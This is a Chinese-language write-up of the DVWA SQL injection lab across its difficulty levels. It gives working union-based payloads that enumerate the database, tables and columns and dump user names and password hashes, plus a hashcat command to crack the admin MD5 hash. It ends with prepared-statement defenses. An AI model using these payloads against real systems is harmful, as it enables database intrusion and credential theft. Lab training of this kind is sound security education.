dvwa-SQL-injection
SQL Inject中文叫做SQL注入,是发生在web端的安全漏洞,主要是实现非法操作,例如欺骗服务器执行非法查询,属于注入攻击的一种
简单来说就是通过web表单把SQL命令提交到数据库,由于管理员没有细致的过滤用户输入的数据,造成字符串拼接,进而恶意的SQL语句被执行,造成数据库信息泄露、网页篡改、数据库被恶意操作等后果。
开始
SQL Injection分类:
- 从注入参数类型分类:数字型注入、字符型注入、搜索型注入
- 从注入方法分:报错注入、布尔盲注、时间盲注、联合查询注入、堆叠注入、内联查询注入、宽字节注入
- 从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入
low
请求页面

http请求
1 | |
响应页面
给它输入个 1试试,哎,上钩了!是有回显的。
话不多说,直接看题
源码
源码太长了,直接贴关键的吧,可以说是没有丝毫过滤,页面回显
1 | |
攻击思路
假装我们没有看过源码,纯手工一步步来,增加学习印象
- 判断注入类型
由于输入的数据 id 是数字,我们并不知道服务器将 id 的值认为是字符还是数字,因此我们需要先来判断是数字型注入还是字符型注入(虽然从源码看得出来)。当输入的参数为字符串时就称该 SQL 注入为字符型,当输入的参数为数字时就称该 SQL 注入为数字型。字符型和数字型最大的一个区别在于数字型不需要单引号来闭合,而字符型需要通过单引号来闭合。
- 输入
1‘,出现回显Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
说明是字符型注入
- 判断回显列数(”#”在SQL中表示行内注释)
- 联合查询,依次输入
1' union select 1#1' union select 1,2#1' union select 1#
查看回显,发现只有1' union select 1,2#回显正常,说明回显只有两个字段。说明还可以联合注入
- 获取其他信息
- 查询数据库名。输入
1' union SELECT DATABASE(),VERSION()#

当前数据库为 dvwa,数据库版本为 10.11.4-MariaDB
MariaDB是MySQL的一个分支,完全兼容,并且版本号大于5.0,就能利用 information_schema数据库查询更多信息
- 查询表名。输入
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'#“group_concat()”函数返回一个字符串结果,该结果由分组中的值连接组合而成。

dvwa数据库有2张表 guestbook users
- 查询字段(列名)。输入
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #
字段为user_id,first_name,last_name,user,password,avatar,last_login,failed_login - 查询用户名密码。输入
'union select group_concat(user separator "\n"),group_concat(password separator "\n") from users #
看到密码并非是明文,32位字符16个字节,考虑是md5值 - 解密admin的密码
5f4dcc3b5aa765d61d8327deb882cf99- md5在线网站
- kali命令字典爆破
hashcat -a 0 -m 0 5f4dcc3b5aa765d61d8327deb882cf99 /usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt
medium
请求页面

http请求
1 | |
响应页面

源码
源码如下,源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00、\n、\r、\、’、” 和 \x1a 都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。
1 | |
攻击思路
POST请求 ,我们用Burp抓包处理
- 判断注入类型。可以知道是数字型注入
- 判断回显。同样是回显2列
- 获取其他信息。(跟low级别一样,不过注入语句需要去掉单引号)
high
请求页面
点击 here to chang you ID,会弹框,索性一块整上
http请求
1 | |
响应页面

源码
只是在low的级别后面进行了 LIMIT 1限制回显个数
1 | |
攻击思路
直接复用low级别的注入语句的话,我看也没什么问题,因为“#”直接注释掉了“LIMIT 1”,试一下真的是一样
值得注意的是,这里查询内容提交和结果显示使用不同页面显示的防御功能,需要特别提到的是,这样做是为了防止注入工具例如 sqlmap 注入。因为 sqlmap 在注入过程中无法在查询提交页面上获取查询的结果,因此收不到任何反馈,也就没办法进一步注入。但是,这种情况在Firefox上是的,但是在Chrome内核的浏览器不是。在Edge、Chrome上页面提交和页面显示还是在同一个页面上。
impossible
源码
1 | |
Impossible 级别的代码采用了 PDO 技术,防止代码和查询数据的混杂。实现了查询语句中的数据与命令相分离。
总结
SQL 注入攻击就是 Web 程序对用户的输入没有进行合法性判断,从而攻击者可以从前端向后端传入攻击参数,并且该参数被带入了后端执行。在很多情况下开发者会使用动态的 SQL 语句,这种语句是在程序执行过程中构造的,不过动态的 SQL 语句很容易被攻击者传入的参数改变其原本的功能。
当我们进行手工 SQL 注入时,往往是采取以下几个步骤:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解SQL查询语句中的字段数;
- 获取当前数据库;
- 获取数据库中的表;
- 获取表中的字段名;
当开发者需要防御 SQL 注入攻击时,可以采用以下方法。
- 过滤危险字符:可以使用正则表达式匹配各种 SQL 子句,例如 select,union,where 等,如果匹配到则退出程序。
- 使用预编译语句:PDO 提供了一个数据访问抽象层,这意味着不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。使用 PDO 预编译语句应该使用占位符进行数据库的操作,而不是直接将变量拼接进去。